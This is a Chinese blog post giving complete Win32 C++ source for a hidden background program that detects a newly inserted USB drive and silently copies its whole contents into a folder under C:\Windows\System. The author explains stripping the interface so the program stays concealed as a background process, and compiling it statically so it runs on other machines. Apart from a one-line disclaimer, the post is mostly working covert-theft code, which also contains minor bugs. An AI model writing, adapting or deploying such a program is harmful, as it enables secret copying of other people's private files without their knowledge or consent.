USB助手
自动拷贝U盘的数据—
由于之前学习了win32的编程就想着做一个有趣的东西。想了想准备做一个可以自动复制U盘数据的程序。
对于这个程序的功能首先就是要能够识别U盘是否插入了,这里使用了函数GetLogicalDrives()来进行判断,这个函数会将当前
计算机中的盘符表示出来,然后通过两次的比较来判断U盘是否插入到了计算机中,然后通过copyfile()来全盘复制文件。
为了方便更好的隐藏采用win32编写,但是去掉界面,让程序运行后仅仅在后台进程中可见。
下面是程序的源代码(用VS2017编译):
1 // USB盗猎.cpp : 定义应用程序的入口点。 2 // 为了让程序可以被其他电脑直接使用,需要在编译时采用静态编译,vs2017默认的是动态编译 3 // 在调试中选择属性,然后选择C/C++,选择代码生成,选择多线程调试DLL(/MTD)====>即可实现静态编译 4 5 #include "stdafx.h" 6 #include "USB助手.h" 7 #include <windows.h> 8 #include <iostream> 9 #include <string> 10 #include <strsafe.h> 11 #include <tchar.h> 12 #define MAX_PATH_ME 256 13 #define SOURCE_PATH TEXT("C:\\Windows\\System\\text1") 14 15 using namespace std; 16 void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME]); //遍历U盘下的所有文件 17 18 int APIENTRY wWinMain(_In_ HINSTANCE hInstance, 19 _In_opt_ HINSTANCE hPrevInstance, 20 _In_ LPWSTR lpCmdLine, 21 _In_ int nCmdShow) 22 { 23 24 CreateDirectory(SOURCE_PATH, NULL); 25 TCHAR szFile[MAX_PATH_ME] = SOURCE_PATH; 26 TCHAR Path[MAX_PATH_ME] = TEXT(""); 27 TCHAR Drive[26] = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','S','Y','Z' }; 28 char i = 0; 29 DWORD Drive_Old = GetLogicalDrives(); 30 while (1) 31 { 32 DWORD Drive_New = GetLogicalDrives(); 33 if (Drive_Old != Drive_New) 34 { 35 Drive_New = Drive_New - Drive_Old; 36 while (1) 37 { 38 if ((Drive_New & 1) != 0) 39 break; 40 Drive_New >>= 1; 41 i++; 42 } 43 break; 44 } 45 } 46 Sleep(10000); 47 Path[0] = Drive[i]; 48 Path[1] = '\0'; //StringCchCat:在使用时需要path最后一位是‘\0’ 49 StringCchCat(Path, MAX_PATH_ME, TEXT(":")); 50 Traver_File(Path, szFile); 51 return 0; 52 } 53 54 void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME]) 55 { 56 WIN32_FIND_DATAW lpFindFileData; 57 HANDLE hFind = INVALID_HANDLE_VALUE; 58 59 TCHAR szDir[MAX_PATH_ME]; 60 TCHAR szDir1[MAX_PATH_ME] = TEXT(""); 61 TCHAR szDir2[MAX_PATH_ME] = TEXT(""); 62 TCHAR szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的源地址 63 64 TCHAR T_szDir[MAX_PATH_ME] = TEXT(""); 65 TCHAR T_szDir2[MAX_PATH_ME] = TEXT(""); 66 TCHAR T_szDir1[MAX_PATH_ME] = TEXT(""); 67 TCHAR T_szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的目的地址 68 69 StringCchCopy(T_szDir, MAX_PATH_ME, T_Path); 70 StringCchCopy(T_szDir2, MAX_PATH_ME, T_szDir); 71 72 //获取源文件地址的操作 73 StringCchCopy(szDir, MAX_PATH_ME, Path); 74 StringCchCopy(szDir2, MAX_PATH_ME, szDir); 75 StringCchCat(szDir, MAX_PATH_ME, TEXT("\\*")); 76 hFind = FindFirstFileW(szDir, &lpFindFileData); 77 do 78 { 79 StringCchCopy(szFile, MAX_PATH_ME, szDir2); 80 StringCchCopy(szDir1, MAX_PATH_ME, szDir2); 81 82 StringCchCopy(T_szFile, MAX_PATH_ME, T_szDir); 83 StringCchCopy(T_szDir1, MAX_PATH_ME, T_szDir2); 84 85 if (lpFindFileData.cFileName[0] == '.') 86 { 87 continue; 88 } 89 else if (lpFindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) 90 { 91 StringCchCat(szDir1, MAX_PATH_ME, TEXT("\\")); 92 StringCchCat(szDir1, MAX_PATH_ME, lpFindFileData.cFileName); 93 94 StringCchCat(T_szDir1, MAX_PATH_ME, TEXT("\\")); 95 StringCchCat(T_szDir1, MAX_PATH_ME, lpFindFileData.cFileName); 96 97 CreateDirectory(T_szDir1, NULL); 98 Traver_File(szDir1, T_szDir1); 99 } 100 else 101 { 102 StringCchCat(szFile, MAX_PATH_ME, TEXT("\\")); 103 StringCchCat(szFile, MAX_PATH_ME, lpFindFileData.cFileName); 104 105 StringCchCat(T_szFile, MAX_PATH_ME, TEXT("\\")); 106 StringCchCat(T_szFile, MAX_PATH_ME, lpFindFileData.cFileName); 107 108 CopyFile(szFile, T_szFile, false); 109 StringCchCopy(szFile, MAX_PATH_ME, TEXT("")); 110 StringCchCopy(T_szFile, MAX_PATH_ME, TEXT("")); 111 112 } 113 } while (FindNextFileW(hFind, &lpFindFileData) != 0); 114 }
————本程序只可自己玩,不可另做它用!!!